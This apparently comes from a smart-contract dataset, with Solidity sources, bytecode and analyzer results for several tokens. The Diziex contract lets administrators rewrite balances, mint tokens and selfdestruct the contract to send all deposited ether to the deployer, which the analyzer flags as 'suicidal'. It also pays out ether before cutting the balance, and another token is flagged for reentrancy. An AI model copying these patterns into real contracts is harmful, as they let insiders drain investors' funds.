_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461056b578063dd62ed3e1461058b578063ea1644d5146105d1578063f2fde38b146105f157600080fd5b8063a2a957bb146104e6578063a9059cbb14610506578063bfd7928414610526578063c3c8cd801461055657600080fd5b80638f70ccf7116100d15780638f70ccf7146104605780638f9a55c01461048057806395d89b411461049657806398a5c315146104c657600080fd5b80637d1db4a5146103ff5780637f2feddc146104155780638da5cb5b1461044257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461039557806370a08231146103aa578063715018a6146103ca57806374010ece146103df57600080fd5b8063313ce5671461031957806349bd5a5e146103355780636b999053146103555780636d8aa8f81461037557600080fd5b80631694505e116101ab5780631694505e1461028657806318160ddd146102be57806323b872dd146102e35780632fd689e31461030357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461025657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611975565b610611565b005b34801561020a57600080fd5b5060408051808201909152601b81527f4920537570706f7274205468652043757272656e74205468696e67000000000060208201525b60405161024d9190611a3a565b60405180910390f35b34801561026257600080fd5b50610276610271366004611a8f565b6106b0565b604051901515815260200161024d565b34801561029257600080fd5b506014546102a6906001600160a01b031681565b6040516001600160a01b03909116815260200161024d565b3480156102ca57600080fd5b50670de0b6b3a76400005b60405190815260200161024d565b3480156102ef57600080fd5b506102766102fe366004611abb565b6106c7565b34801561030f57600080fd5b506102d560185481565b34801561032557600080fd5b506040516009815260200161024d565b34801561034157600080fd5b506015546102a6906001600160a01b031681565b34801561036157600080fd5b506101fc610370366004611afc565b610730565b34801561038157600080fd5b506101fc610390366004611b29565b61077b565b3480156103a157600080fd5b506101fc6107c3565b3480156103b657600080fd5b506102d56103c5366004611afc565b61080e565b3480156103d657600080fd5b506101fc610830565b3480156103eb57600080fd5b506101fc6103fa366004611b44565b6108a4565b34801561040b57600080fd5b506102d560165481565b34801561042157600080fd5b506102d5610430366004611afc565b60116020526000908152604090205481565b34801561044e57600080fd5b506000546001600160a01b03166102a6565b34801561046c57600080fd5b506101fc61047b366004611b29565b6108d3565b34801561048c57600080fd5b506102d560175481565b3480156104a257600080fd5b5060408051808201909152600781526614d5541413d49560ca1b6020820152610240565b3480156104d257600080fd5b506101fc6104e1366004611b44565b61091b565b3480156104f257600080fd5b506101fc610501366004611b5d565b61094a565b34801561051257600080fd5b50610276610521366004611a8f565b610988565b34801561053257600080fd5b50610276610541366004611afc565b60106020526000908152604090205460ff1681565b34801561056257600080fd5b506101fc610995565b34801561057757600080fd5b506101fc610586366004611b8f565b6109e9565b34801561059757600080fd5b506102d56105a6366004611c13565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105dd57600080fd5b506101fc6105ec366004611b44565b610a8a565b3480156105fd57600080fd5b506101fc61060c366004611afc565b610ab9565b6000546001600160a01b031633146106445760405162461bcd60e51b815260040161063b90611c4c565b60405180910390fd5b60005b81518110156106ac5760016010600084848151811061066857610668611c81565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a481611cad565b915050610647565b5050565b60006106bd338484610ba3565b5060015b92915050565b60006106d4848484610cc7565b610726843361072185604051806060016040528060288152602001611dc7602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611203565b610ba3565b5060019392505050565b6000546001600160a01b0316331461075a5760405162461bcd60e51b815260040161063b90611c4c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107a55760405162461bcd60e51b815260040161063b90611c4c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107f857506013546001600160a01b0316336001600160a01b0316145b61080157600080fd5b4761080b8161123d565b50565b6001600160a01b0381166000908152600260205260408120546106c190611277565b6000546001600160a01b0316331461085a5760405162461bcd60e51b815260040161063b90611c4c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ce5760405162461bcd60e51b815260040161063b90611c4c565b601655565b6000546001600160a01b031633146108fd5760405162461bcd60e51b815260040161063b90611c4c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109455760405162461bcd60e51b815260040161063b90611c4c565b601855565b6000546001600160a01b031633146109745760405162461bcd60e51b815260040161063b90611c4c565b600893909355600a91909155600955600b55565b60006106bd338484610cc7565b6012546001600160a01b0316336001600160a01b031614806109ca57506013546001600160a01b0316336001600160a01b0316145b6109d357600080fd5b60006109de3061080e565b905061080b816112fb565b6000546001600160a01b03163314610a135760405162461bcd60e51b815260040161063b90611c4c565b60005b82811015610a84578160056000868685818110610a3557610a35611c81565b9050602002016020810190610a4a9190611afc565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7c81611cad565b915050610a16565b50505050565b6000546001600160a01b03163314610ab45760405162461bcd60e51b815260040161063b90611c4c565b601755565b6000546001600160a01b03163314610ae35760405162461bcd60e51b815260040161063b90611c4c565b6001600160a01b038116610b485760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161063b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c055760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063b565b6001600160a01b038216610c665760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d2b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063b565b6001600160a01b038216610d8d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063b565b60008111610def5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161063b565b6000546001600160a01b03848116911614801590610e1b57506000546001600160a01b03838116911614155b156110fc57601554600160a01b900460ff16610eb4576000546001600160a01b03848116911614610eb45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161063b565b601654811115610f065760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161063b565b6001600160a01b03831660009081526010602052604090205460ff16158015610f4857506001600160a01b03821660009081526010602052604090205460ff16155b610fa05760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161063b565b6015546001600160a01b038381169116146110255760175481610fc28461080e565b610fcc9190611cc8565b106110255760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161063b565b60006110303061080e565b6018546016549192508210159082106110495760165491505b8080156110605750601554600160a81b900460ff16155b801561107a57506015546001600160a01b03868116911614155b801561108f5750601554600160b01b900460ff165b80156110b457506001600160a01b03851660009081526005602052604090205460ff16155b80156110d957506001600160a01b03841660009081526005602052604090205460ff16155b156110f9576110e7826112fb565b4780156110f7576110f74761123d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113e57506001600160a01b03831660009081526005602052604090205460ff165b8061117057506015546001600160a01b0385811691161480159061117057506015546001600160a01b03848116911614155b1561117d575060006111f7565b6015546001600160a01b0385811691161480156111a857506014546001600160a01b03848116911614155b156111ba57600854600c55600954600d555b6015546001600160a01b0384811691161480156111e557506014546001600160a01b03858116911614155b156111f757600a54600c55600b54600d555b610a8484848484611484565b600081848411156112275760405162461bcd60e51b815260040161063b9190611a3a565b5060006112348486611ce0565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106ac573d6000803e3d6000fd5b60006006548211156112de5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161063b565b60006112e86114b2565b90506112f483826114d5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134357611343611c81565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139757600080fd5b505afa1580156113ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113cf9190611cf7565b816001815181106113e2576113e2611c81565b6001600160a01b0392831660209182029290920101526014546114089130911684610ba3565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611441908590600090869030904290600401611d14565b600060405180830381600087803b15801561145b57600080fd5b505af115801561146f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061149157611491611517565b61149c848484611545565b80610a8457610a84600e54600c55600f54600d55565b60008060006114bf61163c565b90925090506114ce82826114d5565b9250505090565b60006112f483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061167c565b600c541580156115275750600d54155b1561152e57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611557876116aa565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115899087611707565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b89086611749565b6001600160a01b0389166000908152600260205260409020556115da816117a8565b6115e484836117f2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162991815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061165782826114d5565b82101561167357505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361169d5760405162461bcd60e51b815260040161063b9190611a3a565b5060006112348486611d85565b60008060008060008060008060006116c78a600c54600d54611816565b92509250925060006116d76114b2565b905060008060006116ea8e87878761186b565b919e509c509a509598509396509194505050505091939550919395565b60006112f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611203565b6000806117568385611cc8565b9050838110156112f45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161063b565b60006117b26114b2565b905060006117c083836118bb565b306000908152600260205260409020549091506117dd9082611749565b30600090815260026020526040902055505050565b6006546117ff9083611707565b60065560075461180f9082611749565b6007555050565b6000808080611830606461182a89896118bb565b906114d5565b90506000611843606461182a8a896118bb565b9050600061185b826118558b86611707565b90611707565b9992985090965090945050505050565b600080808061187a88866118bb565b9050600061188888876118bb565b9050600061189688886118bb565b905060006118a8826118558686611707565b939b939a50919850919650505050505050565b6000826118ca575060006106c1565b60006118d68385611da7565b9050826118e38583611d85565b146112f45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161063b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080b57600080fd5b803561197081611950565b919050565b6000602080838503121561198857600080fd5b823567ffffffffffffffff808211156119a057600080fd5b818501915085601f8301126119b457600080fd5b8135818111156119c6576119c661193a565b8060051b604051601f19603f830116810181811085821117156119eb576119eb61193a565b604052918252848201925083810185019188831115611a0957600080fd5b938501935b82851015611a2e57611a1f85611965565b84529385019392850192611a0e565b98975050505050505050565b600060208083528351808285015260005b81811015611a6757858101830151858201604001528201611a4b565b81811115611a79576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611aa257600080fd5b8235611aad81611950565b946020939093013593505050565b600080600060608486031215611ad057600080fd5b8335611adb81611950565b92506020840135611aeb81611950565b929592945050506040919091013590565b600060208284031215611b0e57600080fd5b81356112f481611950565b8035801515811461197057600080fd5b600060208284031215611b3b57600080fd5b6112f482611b19565b600060208284031215611b5657600080fd5b5035919050565b60008060008060808587031215611b7357600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611ba457600080fd5b833567ffffffffffffffff80821115611bbc57600080fd5b818601915086601f830112611bd057600080fd5b813581811115611bdf57600080fd5b8760208260051b8501011115611bf457600080fd5b602092830195509350611c0a9186019050611b19565b90509250925092565b60008060408385031215611c2657600080fd5b8235611c3181611950565b91506020830135611c4181611950565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cc157611cc1611c97565b5060010190565b60008219821115611cdb57611cdb611c97565b500190565b600082821015611cf257611cf2611c97565b500390565b600060208284031215611d0957600080fd5b81516112f481611950565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d645784516001600160a01b031683529383019391830191600101611d3f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611da257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dc157611dc1611c97565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fbff5bb4d1aa7351fa3e330873a05bac8970bdd13571e8280bd05b3096aef9c364736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,539 |
0xd07ca71e770ecb9c88da987dc5e9950ec50e67a6
|
pragma solidity ^0.4.26;
contract Diziex {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
/*==============================
= EVENTS =
==============================*/
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "Diziex";
string public symbol = "DZX";
uint8 constant public decimals = 0;
uint256 public totalSupply_ = 1500000;
uint256 constant internal tokenPriceInitial_ = 125000000000000;
uint256 constant internal tokenPriceIncremental_ = 750000000;
uint256 internal buyPercent = 2000;
uint256 internal sellPercent = 7500;
uint256 internal tokenPercent = 22000;
uint256 public currentPrice_ = tokenPriceInitial_ + tokenPriceIncremental_;
uint256 public grv = 1;
uint256 public rewardSupply_ = 300000; // for reward distribution
// Please verify the website https://diziex.io before purchasing tokens
address commissionHolder; // holds commissions fees
address stakeHolder; //stake holder
address dev1; // Design Fund
address dev2; // Growth funds
address dev3; // Compliance funds
address dev4; // Marketing Funds
address dev5; // Development funds
address dev6; // Research Funds
address dev7; // holds stake
address dev8; // miscellaneous
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal etherBalanceLedger_;
address sonk;
uint256 internal tokenSupply_ = 0;
// uint256 internal profitPerShare_;
mapping(address => bool) internal administrators;
uint256 commFunds=0;
constructor() public
{
sonk = msg.sender;
administrators[sonk] = true;
commissionHolder = sonk;
stakeHolder = sonk;
commFunds = 0;
}
function upgradeContract(address[] _users, uint256[] _balances, uint modeType)
onlyAdministrator()
public
{
if(modeType == 1)
{
for(uint i = 0; i<_users.length;i++)
{
tokenSupply_ = tokenSupply_- tokenBalanceLedger_[_users[i]] + _balances[i];
tokenBalanceLedger_[_users[i]] = _balances[i];
emit Transfer(address(this),_users[i],_balances[i]);
}
}
if(modeType == 2)
{
for(i = 0; i<_users.length;i++)
{
etherBalanceLedger_[_users[i]] += _balances[i];
commFunds += _balances[i];
}
}
}
function fundsInjection() public payable returns(bool)
{
return true;
}
function upgradeDetails(uint256 _currentPrice, uint256 _grv, uint256 _commFunds)
onlyAdministrator()
public
{
currentPrice_ = _currentPrice;
grv = _grv;
commFunds = _commFunds;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value);
}
function()
payable
public
{
purchaseTokens(msg.value);
}
function withdrawRewards(uint256 _amount, address _customerAddress)
onlyAdministrator()
public
{
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress],_amount);
tokenSupply_ = SafeMath.add (tokenSupply_,_amount);
}
function withdrawComm(uint256 _amount, address _customerAddress)
onlyAdministrator()
public
{
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress],_amount);
tokenBalanceLedger_[commissionHolder] = SafeMath.sub(tokenBalanceLedger_[commissionHolder], _amount);
}
function withdrawEthers(uint256 _amount)
public
{
require(etherBalanceLedger_[msg.sender] >= _amount);
msg.sender.transfer(_amount);
etherBalanceLedger_[msg.sender] -= _amount;
emit Transfer(msg.sender, address(this),calculateTokensReceived(_amount));
}
/**
* Alias of sell() and withdraw().
*/
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
}
/**
* Liquifies tokens to ethereum.
*/
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens,true);
uint256 _dividends = _ethereum * sellPercent/100000;
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
commFunds += _dividends;
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
_customerAddress.transfer(_taxedEthereum);
emit Transfer(_customerAddress, address(this), _tokens);
}
function registerDevs(address[] _devAddress1)
onlyAdministrator()
public
{
dev1 = _devAddress1[0];
dev2 = _devAddress1[1];
dev3 = _devAddress1[2];
dev4 = _devAddress1[3];
dev5 = _devAddress1[4];
dev6 = _devAddress1[5];
dev7 = _devAddress1[6];
dev8 = _devAddress1[7];
}
function totalCommFunds()
onlyAdministrator()
public view
returns(uint256)
{
return commFunds;
}
function myEthers()
public view
returns(uint256)
{
return etherBalanceLedger_[msg.sender];
}
function getCommFunds(uint256 _amount)
onlyAdministrator()
public
{
if(_amount <= commFunds)
{
etherBalanceLedger_[dev1]+=(_amount*1333/10000);
etherBalanceLedger_[dev2]+=(_amount*1333/10000);
etherBalanceLedger_[dev3]+=(_amount*1333/10000);
etherBalanceLedger_[dev4]+=(_amount*1333/10000);
etherBalanceLedger_[dev5]+=(_amount*1333/10000);
etherBalanceLedger_[dev6]+=(_amount*1333/10000);
etherBalanceLedger_[dev7]+=(_amount*1000/10000);
etherBalanceLedger_[dev8]+=(_amount*1000/10000);
commFunds = SafeMath.sub(commFunds,_amount);
}
}
function transfer(address _toAddress, uint256 _amountOfTokens)
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
function destruct() onlyAdministrator() public{
selfdestruct(sonk);
}
function setPercent(uint256 newPercent, uint mode) onlyAdministrator() public {
if(mode == 1)
{
buyPercent = newPercent;
}
if(mode == 2)
{
sellPercent = newPercent;
}
if(mode == 3)
{
tokenPercent = newPercent;
}
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function setupCommissionHolder(address _commissionHolder)
onlyAdministrator()
public
{
commissionHolder = _commissionHolder;
}
function setupAdministrator(address _commissionHolder)
onlyAdministrator()
public
{
administrators[_commissionHolder] = true;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
function totalSupply()
public
view
returns(uint256)
{
return totalSupply_;
}
function tokenSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(2,false);
uint256 _dividends = _ethereum * sellPercent/100000;
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
return currentPrice_;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell,false);
uint256 _dividends = _ethereum * sellPercent/100000;//SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
event testLog(
uint256 currBal
);
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = _ethereumToSpend * buyPercent/100000;
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum, currentPrice_, grv, false);
_amountOfTokens = SafeMath.sub(_amountOfTokens, _amountOfTokens * tokenPercent/100000);
return _amountOfTokens;
}
function purchaseTokens(uint256 _incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _dividends = _incomingEthereum * buyPercent/100000;
commFunds += _dividends;
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum , currentPrice_, grv, true);
tokenBalanceLedger_[commissionHolder] += _amountOfTokens * tokenPercent/100000;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
require(SafeMath.add(_amountOfTokens,tokenSupply_) < (totalSupply_+rewardSupply_));
//deduct commissions for referrals
_amountOfTokens = SafeMath.sub(_amountOfTokens, _amountOfTokens * 20/100);
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// fire event
emit Transfer(address(this), _customerAddress, _amountOfTokens);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum, uint256 _currentPrice, uint256 _grv, bool _buy)
internal
returns(uint256)
{
uint256 _tokenPriceIncremental = (tokenPriceIncremental_*(2**(_grv-1)));
uint256 _tempad = SafeMath.sub((2*_currentPrice), _tokenPriceIncremental);
uint256 _tokenSupply = tokenSupply_;
uint256 _totalTokens = 0;
uint256 _tokensReceived = (
(
SafeMath.sub(
(sqrt
(
_tempad**2
+ (8*_tokenPriceIncremental*_ethereum)
)
), _tempad
)
)/(2*_tokenPriceIncremental)
);
uint256 tempbase = upperBound_(_grv);
while((_tokensReceived + _tokenSupply) > tempbase){
_tokensReceived = tempbase - _tokenSupply;
_ethereum = SafeMath.sub(
_ethereum,
((_tokensReceived)/2)*
((2*_currentPrice)+((_tokensReceived-1)
*_tokenPriceIncremental))
);
_currentPrice = _currentPrice+((_tokensReceived-1)*_tokenPriceIncremental);
_grv = _grv + 1;
_tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1)));
_tempad = SafeMath.sub((2*_currentPrice), _tokenPriceIncremental);
uint256 _tempTokensReceived = (
(
SafeMath.sub(
(sqrt
(
_tempad**2
+ (8*_tokenPriceIncremental*_ethereum)
)
), _tempad
)
)/(2*_tokenPriceIncremental)
);
_tokenSupply = _tokenSupply + _tokensReceived;
_totalTokens = _totalTokens + _tokensReceived;
_tokensReceived = _tempTokensReceived;
tempbase = upperBound_(_grv);
}
_totalTokens = _totalTokens + _tokensReceived;
_currentPrice = _currentPrice+((_tokensReceived-1)*_tokenPriceIncremental);
if(_buy == true)
{
currentPrice_ = _currentPrice;
grv = _grv;
}
return _totalTokens;
}
function upperBound_(uint256 _grv)
internal
pure
returns(uint256)
{
if(_grv <= 3)
{
return (100000 * _grv);
}
if(_grv > 3 && _grv <= 6)
{
return (300000 + ((_grv-3)*90000));
}
if(_grv > 6 && _grv <= 9)
{
return (570000 + ((_grv-6)*80000));
}
if(_grv > 9 && _grv <= 12)
{
return (810000 +((_grv-9)*70000));
}
if(_grv > 12 && _grv <= 15)
{
return (1020000+((_grv-12)*60000));
}
if(_grv > 15 && _grv <= 18)
{
return (1200000+((_grv-15)*50000));
}
if(_grv > 18 && _grv <= 21)
{
return (1350000+((_grv-18)*40000));
}
if(_grv > 21)
{
return (1470000+((_grv-18)*30000));
}
return 0;
}
function tokensToEthereum_(uint256 _tokens, bool _sell)
internal
view
returns(uint256)
{
uint256 _tokenSupply = tokenSupply_;
uint256 _etherReceived = 0;
uint256 _grv = grv;
uint256 tempbase = upperBound_(_grv-1);
uint256 _currentPrice = currentPrice_;
uint256 _tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1)));
while((_tokenSupply - _tokens) < tempbase)
{
uint256 tokensToSell = _tokenSupply - tempbase;
if(tokensToSell == 0)
{
_tokenSupply = _tokenSupply - 1;
_grv -= 1;
tempbase = upperBound_(_grv-1);
continue;
}
uint256 b = ((tokensToSell-1)*_tokenPriceIncremental);
uint256 a = _currentPrice - b;
_tokens = _tokens - tokensToSell;
_etherReceived = _etherReceived + ((tokensToSell/2)*((2*a)+b));
_currentPrice = a;
_tokenSupply = _tokenSupply - tokensToSell;
_grv = _grv-1 ;
_tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1)));
tempbase = upperBound_(_grv-1);
}
if(_tokens > 0)
{
a = _currentPrice - ((_tokens-1)*_tokenPriceIncremental);
_etherReceived = _etherReceived + ((_tokens/2)*((2*a)+((_tokens-1)*_tokenPriceIncremental)));
_tokenSupply = _tokenSupply - _tokens;
_currentPrice = a;
}
if(_sell == true)
{
grv = _grv;
currentPrice_ = _currentPrice;
}
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x
|
{"success": true, "error": null, "results": {"detectors": [{"check": "suicidal", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-state", "impact": "Medium", "confidence": "Medium"}]}}
| 3,540 |
0xb28EcB40F83360aBA7f285CA953360Cd2c28e730
|
// File: contracts/lib/SafeMath.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
